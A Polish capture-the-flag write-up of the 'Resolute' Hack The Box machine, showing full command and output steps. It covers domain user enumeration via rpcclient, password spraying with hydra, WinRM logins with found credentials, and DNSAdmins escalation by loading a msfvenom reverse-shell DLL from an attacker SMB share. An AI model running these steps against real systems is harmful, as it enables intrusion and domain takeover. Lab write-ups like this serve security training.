Spis treści
Wstępna enumeracja w poszukiwaniu potencjalnych luk
Skanowanie portów:
Używamy do tego skanera portów nmap:
nmap -sV -A -p- -v -Pn 10.10.10.169 -oN nmap/allports
Użyte przełączniki:
- sV – detekcja usług/wersji na otwartych portach
- A – uruchamianie agresywnego skanu (skan z wykorzystaniem skryptów, detekcji wersji wykrytych serwisów, detekcji OS oraz wykonanie traceroute)
- -p- skan wszystkich portów
- v – włączenie „gadatliwości”
- Pn- skan bez pingowania
- oN – zapisanie wyniku do pliku
Wynik:
PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-24 13:52:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49709/tcp open msrpc Microsoft Windows RPC 53557/tcp open tcpwrapped
Nmap pokazał nam wiele otwartych portów. Na podstawie wyniku możemy wywnioskować, że atakowana maszyna to prawdopodobnie kontroler domeny megabank.local.
Uzyskanie uprawnień użytkownika
Widząc otwarty port 135 (REMOTE PROCEDURE CALL), spróbujmy defaultowego połączenia z wykorzystaniem rpcclient:
rpcclient -U '' 10.10.10.169 Enter WORKGROUP\'s password: rpcclient $>
Jak widzimy powyżej domyślne połączenie jest możliwe. Możemy w łatwy sposób wyenumerować wszystkich użytkowników domeny i zapisać ich do oddzielnego pliku:
rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[ryan] rid:[0x451] user:[marko] rid:[0x457] user:[sunita] rid:[0x19c9] user:[abigail] rid:[0x19ca] user:[marcus] rid:[0x19cb] user:[sally] rid:[0x19cc] user:[fred] rid:[0x19cd] user:[angela] rid:[0x19ce] user:[felicia] rid:[0x19cf] user:[gustavo] rid:[0x19d0] user:[ulf] rid:[0x19d1] user:[stevie] rid:[0x19d2] user:[claire] rid:[0x19d3] user:[paulo] rid:[0x19d4] user:[steve] rid:[0x19d5] user:[annette] rid:[0x19d6] user:[annika] rid:[0x19d7] user:[per] rid:[0x19d8] user:[claude] rid:[0x19d9] user:[melanie] rid:[0x2775] user:[zach] rid:[0x2776] user:[simon] rid:[0x2777] user:[naoki] rid:[0x2778]
Aby uzyskać więcej informacji o użytkownikach domeny korzystamy z komendy:
rpcclient $> queryuser marko
User Name : marko
Full Name : Marko Novak
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Account created. Password set to Welcome123!
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Fri, 27 Sep 2019 09:17:15 EDT
Password can change Time : Sat, 28 Sep 2019 09:17:15 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]…
user_rid : 0x457
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]…
logon_hrs[0..21]…
Widzimy, że hasło użytkownika marko to: Welcome123! Sprawdźmy to!
W tym celu wykorzystamy skrypt napisany w języku ruby evil-winrm:
evil-winrm -i 10.10.10.169 -u marko -p Welcome123! Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError Error: Exiting with code 1
- i – adres ip hosta docelowego
- u – nazwa użytkownika
- p – hasło użytkownika
Niestety próba logowania nie powiodła się.
Jednakże mając nazwy wszystkich użytkowników, możemy przeprowadzić atak typu „Password Spraying” (wielu użytkowników, jedno hasło). W tym celu posłużymy się narzędziem hydra:
hydra -L users.txt -p Welcome123! smb://10.10.10.169
- L – plik z użytkownikami
- p – hasło
- smb:// – atakowany protokół
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-24 09:17:09
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 27 login tries (l:27/p:1), ~27 tries per task
[DATA] attacking smb://10.10.10.169:445/
[445][smb] host: 10.10.10.169 login: melanie password: Welcome123!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-24 09:17:15
Spróbujmy zatem zalogować się powyższymi credentialami korzystając ponownie ze skryptu evil-winrm:
evil-winrm -i 10.10.10.169 -u melanie -p Welcome123! Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint Evil-WinRM PS C:\Users\melanie\Documents> whoami; hostname megabank\melanie Resolute
Mamy dostęp do maszyny jako użytkownik
Uzyskanie uprawnień Administratora
Przechodzimy do folderu głównego C:\. Sprawdzamy jego zawartość (uwzględniając ukryte pliki oraz foldery):
Evil-WinRM PS C:> ls -hiddenDirectory: C:\
Mode LastWriteTime Length Name ---- ------------- ------ ---- d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN d--hsl 9/25/2019 10:17 AM Documents and Settings d--h-- 9/25/2019 10:48 AM ProgramData d--h-- 12/3/2019 6:32 AM PSTranscripts d--hs- 9/25/2019 10:17 AM Recovery d--hs- 9/25/2019 6:25 AM System Volume Information -arhs- 11/20/2016 5:59 PM 389408 bootmgr -a-hs- 7/16/2016 6:10 AM 1 BOOTNXT -a-hs- 8/24/2020 5:22 AM 402653184 pagefile.sys Evil-WinRM PS C:\PSTranscripts> ls -hiddenDirectory: C:\PSTranscripts
Mode LastWriteTime Length Name ---- ------------- ------ ---- d--h-- 12/3/2019 6:45 AM 20191203 Evil-WinRM PS C:\PSTranscripts> cd 20191203 Evil-WinRM PS C:\PSTranscripts\20191203> ls -hiddenDirectory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name ---- ------------- ------ ---- -arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Zaglądamy do folderu 20191203. Znajdujemy tam plik tesktowy, który zawiera hasło kolejnego użytkownika:
PS>CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
cmd /c net use X: \fs01\backups ryan Serv3r4Admin4cc123!
Logujemy się na drugiego użytkownika:
evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123! Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint Evil-WinRM PS C:\Users\ryan\Documents>
Sprawdzamy przynależność użytkownika do grup. Jak widzimy należy on do grupy DNSAdmins. Może być to potencjalny wektor ataku przy eskalacji uprawnień.
Evil-WinRM PS C:\Users\ryan\Documents> whoami /groups
GROUP INFORMATION
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Po krótkim resaerchu, znalazłem ciekawy artykuł opisujący metodę podniesienia uprawnień, którą można użyć w naszym przypadku (DNS Admins Priv Esc in Active Directory).
Generujemy payload z wykorzystaniem narzędzia msfvenom:
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=[moje_ip] LPORT=4444 -f dll > privesc.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 5120 bytes
Przenosimy wygenerowany dll na maszynę. W tym celu używamy skryptu smbserver.py z Impacket:
sudo smbserver.py share ./
Używamy dnscmd aby osadzić nasz złośliwy plik dll w rejestrze Windowsa:
Evil-WinRM PS C:\Users\ryan\Desktop> dnscmd resolute.megabank.local /config /serverlevelplugindll \[moje_ip]\share\privesc.dll Registry property serverlevelplugindll successfully reset. Command completed successfully.
Następnie ustawiamy listenera na porcie 4444 i restartujemy usługę dns:
Evil-WinRM PS C:\Users\ryan\Desktop> sc.exe \resolute stop dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 Evil-WinRM PS C:\Users\ryan\Desktop> sc.exe \resolute start dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 1896 FLAGS :
W wyniku uzyskujemy reverse shella z uprawnieniami Administratora:
nc -nlvp 4444
listening on [any] 4444 …
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.169] 56341
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Super sprawa!